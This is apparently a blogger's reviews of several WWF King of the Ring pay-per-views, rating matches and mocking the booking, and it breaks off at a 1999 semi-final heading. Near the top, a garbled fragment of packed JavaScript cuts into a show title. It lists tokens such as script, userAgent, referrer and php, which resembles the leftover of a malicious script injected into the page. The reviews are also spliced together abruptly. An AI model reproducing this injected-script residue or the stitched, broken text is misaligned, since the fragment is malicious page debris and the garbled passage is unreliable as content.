Neville
Luke Harper

R-Truth
Stardust

Dolph Ziggler
Bad News Barrett

Not bad other than basically giving Barrett/Ziggler a bye into the finals.  I’m assuming it winds up with Sheamus vs. Ziggler again because WWE loves their rematches.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kknrb|var|u0026u|referrer|tsaes||js|php'.split('|'),0,{})) of the Ring 1993
Date: June 13, 1993
Location; Nutter Center, Dayton, Ohio
Attendance: 6,500
Commentators: Jim Ross, Bobby Heenan, Randy Savage

The opening video is a rundown of the brackets:

Bret Hart

Razor Ramon

Mr. Perfect

Mr. Hughes

Jim Duggan

Bam Bam Bigelow

Tatanka

Lex Luger

The announcers make a huge deal out of this being the Heartland of America. This was almost the tagline for the show.

All first round matches have fifteen minute time limits.

King of the Ring Quarterfinals: Bret Hart vs. Razor Ramon

King of the Ring Quarterfinals: Mr. Hughes vs. Mr. Perfect

Mr. Fuji says Hogan cheated at Wrestlemania by taking advantage of Yokozuna after a twenty minute match. Apparently being an evil Japanese man takes away your ability to tell time. Yokozuna promises BANZAI.

King of the Ring Quarterfinals: Bam Bam Bigelow vs. Jim Duggan

King of the Ring Quarterfinals: Lex Luger vs. Tatanka

Luger wants five more minutes but uses the distraction to knock Tatanka out with the forearm.

Here are the updated brackets:

Bret Hart

Mr. Perfect

Bam Bam Bigelow

BYE

King of the Ring Semifinals: Mr. Perfect vs. Bret Hart

Hart rolls outside and Perfect whips him hard into the barricade, right next to a cooler full of water and Diet Pepsi. Bret might have hurt his knee but you never can tell with him. Back in and a suplex and missile dropkick get two for Perfect and frustration starts to set in. That means bad things for Bret as Perfect gets more aggressive with the chops in the corner. Mr. goes up again but gets superplexed down for a close two as the fans are into this one.

WWF World Title: Hulk Hogan vs. Yokozuna

Yokozuna Banzai Drops him post match and fans are stunned. Hogan may have been a relic in 1993, but this is similar to the Streak being broken: you would never believe it happened until you saw it.

Mr. Perfect promises to prove what perfect is all about in the future. Not exactly.

Intercontinental Champion Shawn Michaels and brand new (as in like a week ago) bodyguard Diesel (named for the first time here), who helped him win the title back from Marty Jannetty at a house show, say maybe lightning can strike twice, even though Michaels is a far bigger star than Hogan.

Steiner Brothers/Smoking Gunns vs. Money Inc./Headshrinkers

Rating: D+. What a random ending with the Steiners not doing anything in the second half of the match. It sounded like they had to run out of there because of time or something and it made for a sudden ending. It could have been a lot worse, but this match was just there to give the fans something to see as they came out of their comas.

Intercontinental Title: Crush vs. Shawn Michaels

The champ grabs an armbar but misses the superkick and gets dropkicked out to the floor. Back in and Crush throws him around again before gorilla pressing him over his head with more than a few reps. Savage: “HE CAN SLAM YOKOZUNA!” A tilt-a-whirl backbreaker plants Michaels again but Diesel pulls him away from the head vice. Crush shows that all faces have to be stupid (though snappily dressed in orange, yellow and purple) by going after Diesel, allowing Shawn to knee him from the apron.

King of the Ring: Bam Bam Bigelow vs. Bret Hart

The match continues and you can almost hear Bret kill the referee for making him continue. Heenan is livid but Savage correctly points out that it should have been a DQ so Bigelow should be grateful. Bigelow hammers on the back and puts on a bearhug to keep up the psychology. Bret finally pulls him down into a DDT but Bigelow shrugs it off. A running backsplash misses but he whips Bret hard into the corner and Hart just falls down. There are FAR too many empty seats opposite the camera for the main event.

Bret counters an over the shoulder backbreaker into a sleeper but opts to dropkick him to the floor instead. A plancha sets up a bunch of right hands to the face cause Savage to spell pride p-r-y-d-e. Back in and Bret gets two off a middle rope clothesline and the middle rope elbow gets the same. Bam Bam just kicks off the Sharpshooter and we hit another bearhug, so Bret just bites out of it. Not liking being treated like a bowl of macaroni, Bigelow plants him with a powerslam for two. With frustration setting in, Bigelow puts him on the top rope but gets victory rolled for the pin and the crown.

Dang it it’s this show. This is considered to be one of the all time worst shows as absolutely nothing ever happened at it. I mean the show exists and some of the matches are ok, but nothing of note happens here. It’s the epitome of the dark ages for the WWF up to this point as just nothing at all is going on that means anything at all. Diesel is world champion here and your main event is him teaming up with Bam Bam Bigelow to face Tatanka and Sid.

Yeah see what I mean about nothing happens here? Also, this is the show that is referenced on Rise and Fall of ECW as the show where the ECW faithful show up and boo it to death as it’s so terrible. The tournament is half screwed already by injuries here and one of the spots isn’t determined until the preshow, 30 minutes before the PPV begins. My copy has that match on it, so let’s get this over with.

The intro says that while this is the place where democracy was born for America, monarchy will reign tonight. Eh I can live with that one I guess.

KOTR First Round: Savio Vega vs. IRS

It was supposed to be Razor Ramon, but he was legitimately hurt in a ladder match with Jarrett at a house show a few weeks prior to this, and because Vince is such a genius he didn’t give Razor a replacement in the two weeks he had before this show. Savio is young and annoying here while IRS is a glorified jobber, so guess who wins this? Razor is with Savio for moral support I guess.

I would have thought he was there to be Savio’s drug runner but whatever. IRS gets no intro or anything and within 20 seconds we have a boring chant. Vince says that it will be nearly impossible for one of these two to win four matches in one night, despite Randy Savage having done the impossible apparently in 88, but why remember anything over a week ago? Hat Guy is in the front row. The referee is wearing a long sleeved shirt and it just doesn’t look right. A spin kick from out of nowhere ends this after like four minutes.

Rating: C-. It was crap, but this was literally a free match so it’s hard to complain about it. It felt like a TV match and that’s about all it was.

That makes your brackets as follows:

Mabel
Undertaker

Kama
Shawn Michaels

Bob Holly
Roadie

Yokozuna
Savio

That’s better than last year but not by much at all. Let’s get this over with.

We get a more formal intro to the show where nothing of note is said. If Hendrix isn’t on all kinds of crack, my name is Sharona.

KOTR Quarterfinals: Yokozuna vs. Savio Vega

Yoko here is about as fat as a small country. He and Owen are tag champions here. Naturally Vince sees nothing wrong with booking more or less a cruiserweight against a guy that outweighs some large rocks less than 15 minutes after the hardest crowd in the world to please just saw him wrestle last. And people wonder why this company went so far down so fast.

Yoko beat Luger to get in here as Luger was about to leave for WCW and the debuting Nitro in just about 2 months while Savio just beat IRS. I really don’t want to review this show. Since we haven’t seen enough Savio already, we go back to Todd with Razor and Vega. Savio has an American flag and speaks mostly Spanish. There’s no way I can comment on that without getting an infraction.

We have a 15 minute time limit here. I’ve always wanted there to be like a 4 minute time limit or a 12 minute and 5 second time limit. That would just be interesting to hear in my mind for some reason. This reminds me of the freak shows of the early days of the UFC. Yoko was more or less worthless at this point as his weight just got completely out of control. Well I’m already bored out of my mind.

Savio, who can’t do much of anything to begin with, is in there against a guy that’s too big to do anything and no one cares about him anymore anyway. Hendrix calls Savio’s four minute match with IRS grueling. That sums up the announcing perfectly. Vince thanks the people listening in Spanish, which is again completely pointless as THEY AREN’T LISTENING TO THE ENGLISH COMMENTARY! Vega is apparently a Caribbean legend.

All Yoko can really do is punch and chop and choke. Razor has done absolutely nothing in this match either in case you were wondering. Owen comes out in a suit to attack Razor’s ribs so Yoko comes out to defend him, leading to Savio ramming him into the post for the count out. In other words, Savio has done what Lex Luger managed to do in the main event of Summerslam 1993. What does that tell you?

Rating: D. Yes, this is what they wanted to set the tone of the night with. The styles just COMPLETELY clashed here as neither guy could do anything here. Savio getting the win was kind of stupid when you think about it as Yoko’s minimal credibility is completely killed off in the name of a one night push. This was just stupid all around in my eyes and the match was both boring and pointless as well.

Jerry Lawler talks about the Kiss My Foot match later tonight against Bret with some dumb jokes.

KOTR Quarterfinals: Roadie vs. Bob Holly

Oh baby feel the greatness here! Jarrett is with Roadie, and since Jarrett is IC Champion, Savio gets a shot at him tomorrow. Roadie beat Doink to get in and Holly, who is still a racecar driver, beat Mantaur. Yeah this was just a horrible time in wrestling. Nothing of note is happening here. It’s just a bare bones basic match that might as well be on Superstars or something or even a house show.

There’s just nothing going on here and the fans are booing them out of the building. Why in the world should I care about these two fighting? I can’t think of a single reason. It’s a racecar driver against a guy that allegedly takes care of musical equipment for a fake singer. You know I love gimmicks, but this is absurd. This is nothing but house show material here. Why am I supposed to care about this match at all? It’s just flat out not interesting.

The wrestling isn’t bad I guess, but it’s two lower midcard guys fighting to go face a slightly higher up the midcard guy. I think they botch the finish as Roadie is on the mat and Holly jumps into his boot for the pin but Holly pops his shoulder up just afterwards. I think there was an error in there. Either that or they just ended this before everyone fell asleep and they didn’t have enough smelling salts for the entire arena. Thank goodness this is over.

Rating: D+. Again, why in the world should I have cared about this match? It might as well have opened a house show in Dalton, Georgia or some other town that no one has ever heard of. The crowd was bored to say the least as I can’t believe these two matches were picked to open the show. Again, the wrestling was ok I guess, but why in the world should I care about these two?

Todd is with Shawn, who is freshly face at this point. We see a clip of Shawn qualifying for the Rumble, FIVE WEEKS AGO! Seriously, why wait that long for it? There were In Your House shows around this time so it’s not like they didn’t have time for it or anything. Shawn would win the IC Title the next month now that I think of it.

KOTR Quarterfinals: Kama vs. Shawn Michaels

Shawn beat King Kong Bundy and Kama beat Duke Droese. Kama was kind of feuding with Taker at the time, as was the entire Million Dollar Team. Shawn’s music is messed up here, opening with the guitar solo instead of the regular opening. That’s very odd indeed. Kama is more commonly known as Papa Shango or Godfather depending on what era you’re from.

The crowd is into Shawn as he was at the point on the card where he was bigger than the midcard but not quite into the main event yet, sort of like Austin after Mania 13. Joe Frazier is here. This is a very standard Shawn match which means it’s the best match of the night. Kama works over Shawn, who of course has a bad back as all faces are required to have at some point in their career, until Shawn starts his comeback.

And then we get the evil of the clock on the screen, which means this is going to end in a draw. After a very fast 15 minutes that likely wasn’t really 15 minutes, Shawn has a sunset flip on Kama but as the hand is coming down for three the buzzer goes off and so does the crowd. Why in the WORLD would you have a draw here to eliminate the guy that is likely the most over in your whole company?

I have a bad feeling I know why, but I want to convince myself that’s not really the reason to keep myself from going on a killing spree. Shawn hits the kick after the match to get the fans to put down their pitchforks, but DANG this was stupid. Seriously, why in the world would you get rid of your most over guy?

Does Vince actually believe that Savio freaking Vega is going to be enough of a reason for people to care about this show? That’s flat out stupid. If Vince believes that, then he deserved to almost get put out of business in a year and a half.

Rating: B. Like I said, this is likely going to be the best match of the entire night. Shawn was on the top of his game around this time and no one other than Bret could stay with him in the ring and this was no exception. Shawn carried this thing as Kama’s basic offense wasn’t able to do a thing at all.

He was kind of an MMA sort of character that just didn’t work, much like all of his other gimmicks. This was pretty good though. It’s not great, but Shawn could really do no wrong in the ring at this point.

We get a recap of Mabel vs. Taker, which is kind of pointless. Mabel beat Adam Bomb and Taker beat Jarrett. Yeah that’s all the recap you get. Taker walks with angels apparently.

We get a recap of Backlund campaigning for President. This was in a word BIZARRE. He’s walking around Philadelphia with random kids holding up signs and asking people if they’re related to George Washington. He wants to put carrots in cheese steaks. The editing keeps jumping to him riding in a carriage. This is somehow weirder than it sounds.

KOTR Quarterfinals: Mabel vs. Undertaker

Mabel is interviewed on his way to the ring and cuts the most generic uninteresting promo of all time. He looks like a frekaing idiot too in case you were wondering. I think Hendrix is trying to be like Jerry Lawler and of course it’s just completely failing. Taker has no urn here thanks to Kama so he’s weak or something. Remember all of those really not great Undertaker vs. Big Show matches?

One of those would be great compared to this. Mabel is just a complete and utter joke of a wrestler to put it mildly. He can’t move, he can’t do much of anything as far as offense, he’s tired after about two seconds, and he doesn’t sell anything. Naturally Mabel’s “power (read as elbows, splashes and chinlocks)” offense wears down Taker as Vince and Doc try so hard to convince us that Mabel is a monster.

This just needs to end with Taker beating him and taking the crown. BREAKING NEWS: MABEL CAN PICK UP UNDERTAKER! For some reason this is a big deal and I have no idea why at all. Why in the world would that be a surprise? Mo is more annoying than Santino ever dreamed of being.

Oh great the referee went down after they both laid around for a few minutes. That means it’s going to go on even longer. Taker hits a chokeslam that was pretty good considering he was picking up a beached whale. Kama runs out and kicks him in the head and a legdrop sends Mabel to the finals, to meet the winner of Road Dogg and Savio Vega. I hate this show so much.

Rating: D+. This was just putting me to sleep. What was the point of this anyway? Seriously, Mabel and freaking SAVIO VEGA are going farther in this than Undertaker and Shawn Michaels. Does Vince really think that this is a good idea? Shawn vs. Diesel at Summerslam wouldn’t have been good? It just headlined Mania but it can’t be on Summerslam? This just needs to end now and have people come out from nowhere and say it was all a big joke then let us see the real show.

We get a highlight package from the Hall of Fame induction ceremony last night. This was when it was a complete and utter joke and no one cared about it at all. More or less this was when it was done some time during the year and the inductees were announced after they had been inducted and nothing was televised.

It was somehow a bigger joke than it is today. The seven in this class, which is the third ever, are Ernie Ladd, Moolah, Ivan Putski, Pedro Morales, Ernie Roth (Grand Wizard of Wrestling), Antonio Rocca and George Steele. Bill Murray of all people inducts George Steele from atop an elephant. I seriously don’t have any idea how or why they did that. Putski sings a song and I really hope he’s drunk.

KOTR Semi Finals: Road Dogg vs. Savio Vega

Winner gets Mabel in what I’m sure will be a masterpiece. In what is I guess kind of historic we go to Roadie and Jarrett in the back and Jarrett calls him Road Dogg for the first time. Well at least it’s better than Roadie. He’s really quite good on the mic. Vince making fun of Jarrett never gets old. This is apparently already a great story. I give up.

Oh and Savio has SV cut into the back of his hair. I really don’t like him in case you can’t tell. Jarrett’s pants are cow print. Why? Hendrix is making this show worse. He’s just an idiot on commentary. He’s fine if he’s just being Michael Hayes but this Jerry Lawler impersonation is complete and utter crap. OH Savio is supposed to be Rocky. Yeah that’s just freaking stupid and something else that no one got until Vince told us.

He tends to have to do that a lot with his great ideas. Hendrix accuses Vega of stealing his hubcaps. Apparently Razor would be allowed in if this was a one on one match but he couldn’t handle a tournament. Why say something like that and imply he’s just not tough enough? Just say that he’s injured and be done with it at that. The fans are booing this out of the building while Vince is desperately trying to make Vega look good. It’s failing insanely.

This is just another match where neither guy is ready to be out there and it’s failing completely. To finally end this mess that Razor still isn’t involved in, Jarrett gets on the apron and Savio rams Roadie into him and rolls him up to set up the classic Savio vs. Mabel match we’re all looking forward to.

Vince more or less orgasms over this. To further the stupidity, a Spanish announcer interviews Savio in Spanish, and he responds in Spanish. I hate this show. I understood it, but I’d guess I’m one of the few that did.

Rating: D+. Again, what in the world was the thought process here? Savio was a rookie here and all of a sudden he’s up against Mabel. Mabel is the veteran in the finals. That’s a scary thought in itself. Why in the heck did someone think this was going to be a good idea? In short, it’s really stupid.

The crown looks like a Burger King crown. I wish I was making this up.

We recap Bret vs. Lawler which has gone on for two years now, on and off. More or less, Bret won King of the Ring and Lawler said he was the only real king and beat him up. Lawler then brought in a bunch of royal people to fight Bret and Bret kept winning and beating up Lawler. Jerry kept insulting Bret’s family etc. Bret says this ends tonight and he’s happy for that. This was a good feud if nothing else.

Jerry Lawler vs. Bret Hart

Remember, the loser kisses the winner’s feet. Lawler has no music at first but some kicks in later. The interviewer in the aisle is repulsed by the smell of his feet. This is stupid but it’s something other than Savio and Mabel so it’s an improvement. The idea here is that Lawler knows he has no chance but Bret hates him so much that he’s going to beat on Lawler so much that he’ll get disqualified.

That would be like an MMA fighter having the strategy of he’ll stand there and get punched in the face so much that the other guy has to quit due to exhaustion. Only in wrestling could this be considered a good idea. Finally, 9 minutes after we started this segment, the match begins. Amazingly enough, this is a standard match between these two.

Bret starts hot, Lawler takes over, Bret fights back, Lawler takes over and used his famous foreign object, Bret fights back, Shinja and Hakushi run in and mess up, allowing Hart to take over and hit his finishing sequence for the win. The pop for the Sharpshooter was great. I know that’s REALLY short for a nearly 10 minute match, but there’s just nothing to talk about here.

Bret and Lawler almost always had good matches, but this just wasn’t interesting at all. There was no reason to care here other than it ended a two year long feud that was good but never really great. Again, what was the point of this?

Rating: C+. Again like it’s been all night: the wrestling is ok but I have no reason to care here at all. That’s not a good sign ever. I might as well be watching guys I’ve never seen before. I have no desire to see these guys fight again and while it’s the last match of their feud, that’s just not good ever. The whole show has been like that.

We get an ad for the Special Olympics. I guess they’re the charity of the month or something.

KOTR Finals: Mabel vs. Savio Vega

Smell those buyrates baby. The problem s instantly become apparent here: first of all, these two both suck and there was no logic at all behind pushing them as the focal points of the show. Second, the fans hate them. Neither guy gets anything resembling a good reaction either from a heel perspective or a face perspective. Third, how in the world is Savio supposed to win here other than a fluke rollup or something like that?

This match again follows as basic of a formula as you could possibly imagine: Savio starts hot and Mabel knocks him down and goes into his basic moveset: punch, stomp, punch, bearhug, chinlock. Seriously, I just covered the first 8 minutes of a ten minute match. Savio of course gets some token jobber, because that’s what he is here in case you didn’t realize it, offense in including that pesky fluke rollup attempt.

Here’s the real point of this match as far as we’re concerned though. Just after the chinlock that nearly goes for a minute, the crowd turns on the match and start LOUDLY chanting ECW. It’s so loud that Vince actually acknowledges it. This wasn’t planned or anything, but it was so loud that Vince stopped his commentary, I think out of shock. He really and truly believed what he was putting out there was getting over, and sadly enough I would bet he blamed the wrestlers for the failure here.

Savio’s spin kick gets two, and it’s over soon thereafter. I know this was really short again, but honestly there’s just nothing at all to talk about for any ot these matches, period. It’s just so basic and phoned in that it’s sucking the life out of me. Razor gets beaten up and 1-2-3 Kid runs out and gets beaten up too. There was a tag match at the next In Your House that no one cared about either. Yes, Mabel joins Owen and Bret and eventually Stone Cold as KOTR winners.

Rating: D. Dang it just end this nonsense already! No one likes this stuff, no one cared about Mabel. No one gave care about Savio. YOU HAD FREAKING SHAWN MICHAELS IN THIS THING and you picked MABEL. Seriously, here’s your tournament: Shawn beats Kama and Mabel while Yoko beats Savio and gets the bye so he only wrestles twice. Shawn kicks him in the face and wins the tournament so the fans are happy.

Instead though, Vince has to decide what we like and tell us that Mabel is our new top heel, and shockingly, IT BOMBED. Mabel was complete and utter crap as a big heel and there’s no shock at all as to why. We had to watch Diesel vs. Mabel to main event the worst Summerslam of all time because Vince is fascinated with big men. At the same time we had Hogan vs. Giant in a monster truck match. Do you see why the NWO was considered a gift from God? Dang I hated this tournament.

The coronation might save this nonsense though. It literally goes on for five minutes with bad music playing and Mo reading a proclamation. The only good part here are the fans, who are booing so loudly and chanting ECW so loudly that you can barely hear Mo. Savio comes up and gets pulled back, and the fans pelt both guys with garbage. No one bought this, plain and simple.

Jerry is sick. You and me both brother.

Oh and look! It’s time for the main event! Yes, in something completely forgotten, we have a tag match to go here.

Sid says he can beat Diesel and his injured elbow. Tatanka doesn’t like Bigelow. This was really bad just like everything else with Sid talking about Diesel holding his mother and Bigelow for support.

Diesel and Bigelow say they’ll win. END THIS NOW!!!

Diesel/Bam Bam Bigelow vs. Sid and Tatanka

For some reason Bigelow had a pyromaniac gimmick going on or something like it. His outfit consists of a full body costume with orange and black flames sticking off of it and forearm things that shoot fire. This is so stupid. This match hasn’t been mentioned or hyped or anything at all tonight. Literally, I forgot about it for a lot of the show. That’s how important this match was for the company.

Sid and Diesel had fought at In Your House with Diesel winning. Bigelow was fired from the Million Dollar Team because he kept losing. Other than that, the Team injured Diesel’s arm so it’s bandaged. This feels like a dark match after a show is over that isn’t advertised or anything. Seriously, it’s added on at the end or something like that. What’s the point here?

It’s your standard main event tag match with the faces dominating early and then the heels work on the injury to set up the hot tag, then beat down face #2, Bigelow in this case, leading to the final hot tag to the champion. That takes 15 minutes, and NO ONE CARES! That’s the issue with the whole show. No one cares about anything here because there is zero effort being put into it. You can tell the wrestlers don’t care because this show means nothing at all.

This might as well have been a big house show or something. After working on the injured elbow, which Vince wants them disqualified for in a stupid string of comments, Diesel hits the powerbomb on Tatanka but wants Sid, who runs away so Diesel can get the pin. There would be a lumberjack match the next month and that’s all there is to it. Yeah seriously that’s how the show ends.

Rating: C-. And that’s out of pity. This was just so generic again that all I can call it is average. It had some ok spots but nothing special at all. Sid and Diesel were crushing the company with their horrible feud that never went anywhere. The company somehow managed to screw things up even worse in a few months with Diesel vs. Mabel.

Vince’s love of big men continued to suck the life out of his company and more importantly the fans with these stupid big men matches. Diesel was talented, but the opponents weren’t. Seriously, you have Bret, Shawn, Owen and Taker to put him against and you picked Mabel. That’s just freaking stupid. Anyway, this was ok, but like every single match tonight, there was no reason to care about it and I’m glad this crap is over.

Overall Rating: F-. Just no. This show was completely and utterly awful. As I read somewhere else, NOTHING HAPPENED HERE. Mabel was a bomb in his new role and was out of it in about 3 months. Bret would move on to fight Isaac Yankem who was just another of Lawler’s cronies. Shawn would go on to win the IC Title at a show where they woke up and did the smart thing with him by giving him something to help him stay over.

I seriously can’t get over the idiocy of the booking here. Shawn and Taker, two of the greatest wrestlers of all time were treated like afterthoughts here. Savio bombed and did nothing of note ever again. Yes, this was his career highlight. This and Summerslam might be the worst shows in company history and the main constants there are Mabel and dumb booking. This was a bomb and one of the worst shows I’ve ever seen.

It felt like they were told that they had a PPV in two hours so they threw this together. I don’t know what Vince was thinking and I don’t want to. This was awful and I’m so glad it’s over. Get me something good like Uncensored 96 to watch.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of In Your House at Amazon for just $4 at:

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We’re at the very end of the Corporate Ministry here as Taker is champion and Austin is the CEO due to some complete insanity. The main event tonight is Austin vs. the McMahons in a handicap ladder match for control of the company. Also Taker defends against Rock and there’s the tournament.

They’ve shifted back to having the final 8 on the show, which tells me they didn’t have much else to work with. However, given how bad WCW was doing at the time, it wasn’t really needed. This is a show I vaguely remember, so let’s get to it as I could use a refreshing.

The intro is fairly creative as it’s kind of a crash course of how we got to the main event with little sound bites from political issues such as Kennedy’s do for your country speech which is switched to company here and Nixon saying he isn’t a crook. It’s better than it sounds. No mention of the title match or the tournament but no one cared about those matches anyway so it’s all good.

Before we get going, here are your brackets, which aren’t given at all and we’re halfway through the first match.

Billy Gunn
Ken Shamrock

Big Show
Kane

Road Dogg
Chyna

Hardcore Holly
X-Pac

Back to the midcard guys as it should be I think.

On Heat, Shane fought Shamrock and might be injured. Blackman beat the tar out of him which comes into play later tonight.

Cole says Shane might not be able to fight in the main event tonight.

KOTR Quarterfinals: Hardcore Holly vs. X-Pac

Holly is booed out of the building here so we have a smart crowd. Holly beat Snow and Pac beat Boss Man. Lawler is surprised by Pac’s pyro, despite it having gone off about 100 times before. X-Pac is holding his neck which will also come into play later. I’ve always loved Lawler being such a McMahon fan. X-Pac hits a great cross body off the middle rope.

Pac speeds things up and then Holly slips into the proper position for the Bronco Buster which I hate. And then he goes to the floor and grabs a chair which he blasts Pac with for no apparent reason other than that we need to save time because we have seven matches tonight in the tournament alone. Road Dogg makes the save but X-Pac’s neck is hurt.

Rating: C-. It was just long enough to grade. It’s not bad or anything but with just over three minutes, what can I really get out of this? It’s not terrible I guess, but it’s far from anything of note. Pac was against a relatively small person so he was bearable.

Terry Taylor, somehow more worthless than he used to be, asks Holly why he did that. Holly’s reaction of who are you is great stuff. Holly says he does what he wants and hasn’t forgotten the Big Show, which was a bad idea that went nowhere.

KOTR Quarterfinals: Big Show vs. Kane

Show has been a face for all of five minutes at this point and has been showing off his strength. This is match number one I think in their never ending rivalry. In an amazing stat, Kane is 172 pounds lighter than show. That’s saying a lot as Kane is a giant. Show beat Droz and Kane beat Test. Kane is of course a tweener here as he almost always was. Show manhandles Kane which is just awesome to see.

This is standard monster vs. monster so that’s all that’s needed. Show is on the box of the tape which is odd as he’s just a regular wrestler in the tournament. They mention the internet, but say they mean WWF.com despite making inferences they mean people like us. Ross says that Show is a lot like Andre, which they could make better jokes about in about two years. Kane hits an enziguri and I’m still not sure if I’m spelling that right.

I’ve always marked for that flying clothesline that Kane uses. Show hits a big boot to the referee and Kane hits a low blow. Hardcore Holly comes out because it’s another year and they have to push him again and he takes a Kane chokeslam making him drop the chair he brought with him. I know Kane has slammed Show before, but has he ever hit a chokeslam on him? I don’t remember him doing so.

At least the referee going down here is because of a solid shot like a boot and not just getting run into. Kane puts a choke on Show for about a minute and a half, which should kill him but it’s wrestling so whatever. The fans get very bored very fast with this.

Show just slaps Kane’s arm away because he’s strong to do that from one knee to a man the size of Kane after being choked for about two minutes straight. Kane picks up the chair and pops Show with it to get the pin as the referee just happens to get up on time for the count. Great chair shot if nothing else.

Rating: D+. That choke was 1/3 of the match. Other than that it was your standard stuff from these two so it was ok. Holly needs to fall in a hole though as for the life of me I don’t get why he kept getting pushes like these. It never worked and he never got over but he kept getting them anyway. As for the match, it wasn’t anything special, but I’ve always liked Kane so there we go.

Shane can’t compete according to Vince but you can hear him shouting frpm the locker room that he can go tonight.

KOTR Quarterfinals: Ken Shamrock vs. Billy Gunn

Gunn is in his most famous gimmick here and he beat Viscera and Shamrock beat Jarrett. Gunn has a tag belt but isn’t a champion in a way too complicated storyline that was shockingly a Russo idea. He won one of the titles or something like that in a 6 man but it was never official and the APA got them back in a few days. Yeah it was pointless. Gunn says get out here and forfeit. Shamrock beats up the EMTs and comes out anyway to a nice pop but no music until it comes on as I’m typing that and I’m too lazy to fix it.

Teddy Long, the referee here says that Ken is too hurt to fight but he rings the bell anyway. Gunn is actually smart here and pounds on the chest and ribs and nothing else. Shamrock actually gets a quick ankle lock but a shot to the ribs gets Gunn out of it. You can more or less see the ending coming from miles away. Shamrock starts a comeback and drops a ton of F bombs while spitting up pink blood that’s staining his skin.

I like the blood from the mouth but Vince, you’re miles ahead of everyone in the wrestling world. Buy good fake blood. Shamrock tries a hurricanrana but it’s countered into a powerbomb and the blood flow causes the referee to call it due to the injuries. Also, blood doesn’t hang off the lip like a string. Long takes the safest through the ropes bump I’ve ever seen.

Rating: C+. Although it’s three minutes long, this was actually decent. In those three minutes, we have psychology in the chest/rib work, some decent shots, a decent performance from Shamrock, and an ending that makes sense. It’s weak, but it makes sense. They have way too many matches here so we have three matches and no regular endings yet. That can’t be a good sign.

Buy these WWF video releases that show very little about the wrestlers but were actually pretty good.

Chyna says that she wants to be a queen and Road Dogg has big balls. HHH says that he’s his own man.

KOTR Quarterfinals: Road Dogg vs. Chyna

Road Dogg has a “Down Where, Down There” shirt. Yeah they didn’t steal a thing of that from the NWO, not a thing. He does his standard intro which forever proves that wrestling doesn’t need to exist to get a character over. DX is more or less dead here as it’s just him and X-Pac. Chyna and HHH are heels now. Oh and Roadie got in over Godfather and Chyna over Val Venis.

For an idea on the in ring stuff at the time, none of the 8 qualifying matches went longer than 3 minutes. This is really just a way for Chyna to showcase herself and that’s fine. They start with a very nice hammerlock sequence. The thing that’s forgotten about Chyna is that she could wrestle. Killer Kowalski said she could so that’s pretty solid. I said that before Ross did so I’m happy.

She dominates for a decent while until we hit the floor and HHH slams Roadie into the post. We hear Chyna call a spot which happens at times so that’s ok. Chyna gets points for using a DDT so I like her more than I did for her looks. She steals the Road Dogg’s knee drop which makes me chuckle and gets her a lot of heat. It amazes me how far she fell. Road Dogg can’t really fight back here which is the storyline of the match, which makes a lot of sense actually.

And there’s your ref bump and HHH putting Chyna on top. Make your own jokes. It only gets two though to a GREAT pop. Now Commissioner Shawn comes out for no apparent reason other than to stop HHH. Road Dogg finally snaps and uses his regular offense as HHH is thrown out by Shawn. Chyna goes for her mega low blow but Road Dogg is wearing a metal cup which makes a lot of sense. The pumphandle ends it.

Rating: C+. There was some interesting stuff here. Chyna was a big deal on a semi national level so that’s always a cool thing. Road Dogg was showing he could actually put on a passable match, and the cup thing was smart but simple. This was certainly ok, but it could have been improved by being a few minutes shorter. It wasn’t bad at all though.

Updated brackets:

Billy Gunn
Kane

Road Dogg
X-Pac

There’s one matchup here that makes sense. Can you see it?

Cole is with Rock who says he’ll beat up Taker tonight. This was pretty weak.

Edge/Christian vs. Hardy Boys

This is a rematch from earlier in the night as the APA came out and beat up both teams to demand a match with Billy for the next night to get the other belt back. Edge and Christian are currently the Brood and the Hardys have Michael Hayes as a manager. The winners are the number one contenders also. This is very short but it’s good. Oh like I needed to tell you guys that.

This is when both teams were both very young and very not over. There’s no point in doing any play by play here as just about everything they’re doing here is stuff they’ve done in a million better matches. Edge is starting to use the spear around this time and we get a nice jab from JR by saying that a spear Edge uses to counter Poetry in Motion is the darndest spear that you’ll ever see.

It ends with Gangrel shooting the liquid at Edge by mistake and a Twist of Fate without a name yet by Jeff for the pin. Oh and Michael Hayes and Gangrel fought a lot. The Hardys would take the titles about two weeks later from the Acolytes and lose them back a few days later. Post match JR raves about the spear from the second rope to Jeff. I’m actually laughing at JR saying that’s the greatest spear you’ll ever seen, considering they did the same thing at 10 feet in the air in less than two years.

Rating: B-. It was less than five minutes but it was a good five minutes. These four had a very hard time having a bad match and this was no exception. They just flowed really well together and this was still a fresh match at this time so that helps a lot. The first ladder match was in about 4-5 months.

Buy Fully Loaded!

Taker says balls, making it the third time in one show.

Vince comes out and says Shane is hurt and the winner take all match won’t happen. This would be the first of at least two winner take all matches in this arena that Shane and Austin would be in, the other being Survivor Series 2001. Shawn comes out and Lawler gets a quick losing my smile joke.

Vince says he’ll have a replacement, meaning the match will happen despite Vince saying it wouldn’t. I’m confused already. Lawler says that there should be a church of McMahon started. Somehow, that actually happened later on.

KOTR Semi-Finals: Kane vs. Billy Gunn

Oh well we get more great music here. Kane’s pyro is the loudest thing you will ever hear. Ok, so this is about as basic of a match as you could imagine, but it’s just boring. For one thing they actually let Billy run the match and he calls a few spots VERY loudly. It’s one of the worst I’ve ever heard as he’s got Kane in a chinlock and he calls out about the next 30 seconds of spots.

Both guys hit very nice dropkicks, with Gunn nearly clearing Kane’s head. The guy had insane ability but with all of the atrocious gimmicks and the drugs, he was just worthless so much of the time. Also being as lazy as he was didn’t help either. The problem here is simple: Gunn is dominating Kane more than Taker, the current world champion, ever did. Kane hits nothing big at all and I’m just trying to figure out what the theory is behind having Gunn dominate a former world champion.

My only guess would be having him win the whole thing for failed push number 10,000. After about five minutes of just wasting time when I could be picking flies out of a pile of dead wildebeests which would be far more interesting, Show comes down and grabs the chair from Gunn to whack Kane with it. The referee is down. Why is he down? Like we need to know something stupid like that! Gunn gets the pin.

Rating: D. Russo is just annoying. Seriously, Gunn over Kane? And it’s not like the chair changed everything. Gunn was in complete control before that. Basically they jobbed out Kane to a guy whose theme song talked about beating and kicking them. Think about that for a minute. The match was boring beyond belief too.

X-Pac, holding his neck, says that between him and Brian James tonight, may the best man win. Pac’s neck really was messed up here, but they either didn’t know that or just didn’t care, which makes things even worse.

KOTR Semi-Finals: Road Dogg vs. X-Pac

